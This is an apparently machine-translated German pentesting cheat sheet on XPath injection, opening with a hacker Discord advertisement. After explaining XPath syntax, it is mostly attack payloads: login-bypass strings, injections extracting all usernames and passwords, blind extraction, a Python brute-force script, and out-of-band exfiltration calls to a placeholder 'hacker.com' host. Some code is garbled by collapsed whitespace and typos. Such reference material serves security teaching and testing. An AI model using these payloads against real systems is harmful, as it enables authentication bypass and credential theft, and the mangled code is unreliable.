Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Hacking-Einblicke
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
Echtzeit-Hack-Nachrichten
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeitnachrichten und Einblicke
Neueste Ankündigungen
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
Treten Sie uns aufDiscord bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!
Grundsyntax
Eine Angriffstechnik, die als XPath-Injection bekannt ist, wird verwendet, um Anwendungen auszunutzen, die XPath (XML Path Language)-Abfragen basierend auf Benutzereingaben bilden, um XML-Dokumente abzufragen oder zu navigieren.
Beschriebene Knoten
Ausdrücke werden verwendet, um verschiedene Knoten in einem XML-Dokument auszuwählen. Diese Ausdrücke und ihre Beschreibungen sind unten zusammengefasst:
nodename: Alle Knoten mit dem Namen "nodename" werden ausgewählt.
/: Die Auswahl erfolgt vom Wurzelknoten.
//: Knoten, die der Auswahl vom aktuellen Knoten entsprechen, werden ausgewählt, unabhängig von ihrem Standort im Dokument.
.: Der aktuelle Knoten wird ausgewählt.
..: Der übergeordnete Knoten des aktuellen Knotens wird ausgewählt.
@: Attribute werden ausgewählt.
XPath-Beispiele
Beispiele für Pfadausdrücke und deren Ergebnisse umfassen:
bookstore: Alle Knoten mit dem Namen "bookstore" werden ausgewählt.
/bookstore: Das Wurzelelement bookstore wird ausgewählt. Es wird angemerkt, dass ein absoluter Pfad zu einem Element durch einen Pfad dargestellt wird, der mit einem Schrägstrich (/) beginnt.
bookstore/book: Alle Bucht-Elemente, die Kinder von bookstore sind, werden ausgewählt.
//book: Alle Bucht-Elemente im Dokument werden ausgewählt, unabhängig von ihrem Standort.
bookstore//book: Alle Bucht-Elemente, die Nachkommen des bookstore-Elements sind, werden ausgewählt, egal wo sie sich unter dem bookstore-Element befinden.
//@lang: Alle Attribute mit dem Namen lang werden ausgewählt.
Nutzung von Prädikaten
Prädikate werden verwendet, um Auswahlen zu verfeinern:
/bookstore/book[1]: Das erste Bucht-Element-Kind des bookstore-Elements wird ausgewählt. Ein Workaround für IE-Versionen 5 bis 9, die den ersten Knoten als [0] indizieren, besteht darin, die SelectionLanguage über JavaScript auf XPath zu setzen.
/bookstore/book[last()]: Das letzte Bucht-Element-Kind des bookstore-Elements wird ausgewählt.
/bookstore/book[last()-1]: Das vorletzte Bucht-Element-Kind des bookstore-Elements wird ausgewählt.
/bookstore/book[position()<3]: Die ersten beiden Bucht-Element-Kinder des bookstore-Elements werden ausgewählt.
//title[@lang]: Alle Titel-Elemente mit einem lang-Attribut werden ausgewählt.
//title[@lang='en']: Alle Titel-Elemente mit einem "lang"-Attributwert von "en" werden ausgewählt.
/bookstore/book[price>35.00]: Alle Bucht-Elemente des bookstore mit einem Preis von mehr als 35,00 werden ausgewählt.
/bookstore/book[price>35.00]/title: Alle Titel-Elemente der Bucht-Elemente des bookstore mit einem Preis von mehr als 35,00 werden ausgewählt.
Umgang mit unbekannten Knoten
Platzhalter werden verwendet, um unbekannte Knoten zuzuordnen:
*: Entspricht jedem Elementknoten.
@*: Entspricht jedem Attributknoten.
node(): Entspricht jedem Knoten jeglicher Art.
Weitere Beispiele umfassen:
/bookstore/*: Wählt alle Kind-Elementknoten des bookstore-Elements aus.
//*: Wählt alle Elemente im Dokument aus.
//title[@*]: Wählt alle Titel-Elemente mit mindestens einem Attribut jeglicher Art aus.
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identifizieren & Stehlen des Schemas
andcount(/*)=1#rootandcount(/*[1]/*)=2#count(root) = 2 (a,c)andcount(/*[1]/*[1]/*)=1#count(a) = 1 (b)andcount(/*[1]/*[1]/*[1]/*)=0#count(b) = 0andcount(/*[1]/*[2]/*)=3#count(c) = 3 (d,e,f)andcount(/*[1]/*[2]/*[1]/*)=0#count(d) = 0andcount(/*[1]/*[2]/*[2]/*)=0#count(e) = 0andcount(/*[1]/*[2]/*[3]/*)=1#count(f) = 1 (g)andcount(/*[1]/*[2]/*[3]/[1]*)=0#count(g) = 0#The previous solutions are the representation of a schema like the following#(at this stage we don't know the name of the tags, but jus the schema)<root><a><b></b></a><c><d></d><e></e><f><h></h></f></c></root>andname(/*[1])="root"#Confirm the name of the first tag is "root"andsubstring(name(/*[1]/*[1]),1,1)="a"#First char of name of tag `<a>` is "a"and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOBdoc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Authentifizierungsumgehung
Beispiel für Abfragen:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OR-Bypass bei Benutzer und Passwort (gleicher Wert in beiden)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Missbrauch von Null-Injektion
Username: ' or 1]%00
Doppeltes ODER im Benutzernamen oder im Passwort (ist gültig mit nur 1 verwundbarem Feld)
WICHTIG: Beachten Sie, dass das "und" die erste durchgeführte Operation ist.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
String extraction
Die Ausgabe enthält Zeichenfolgen und der Benutzer kann die Werte manipulieren, um zu suchen:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Blind Explotation
Länge eines Wertes ermitteln und durch Vergleiche extrahieren:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='#True if length equals 4' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='#True is first equals "a"substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Python-Beispiel
import requests, stringflag =""l =0alphabet = string.ascii_letters + string.digits +"{}_()"for i inrange(30):r = requests.get("http://example.com?action=user&userid=2 and string-length(password)="+str(i))if ("TRUE_COND"in r.text):l = ibreakprint("[+] Password length: "+str(l))for i inrange(1, l +1):#print("[i] Looking for char number " + str(i))for al in alphabet:r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)if ("TRUE_COND"in r.text):flag += alprint("[+] Flag: "+ flag)break
doc(concat("http://hacker.com/oob/", RESULTS))doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))#Instead of doc() you can use the function doc-availabledoc-available(concat("http://hacker.com/oob/", RESULTS))#the doc available will respond true or false depending if the doc exists,#user not(doc-available(...)) to invert the result if you need to
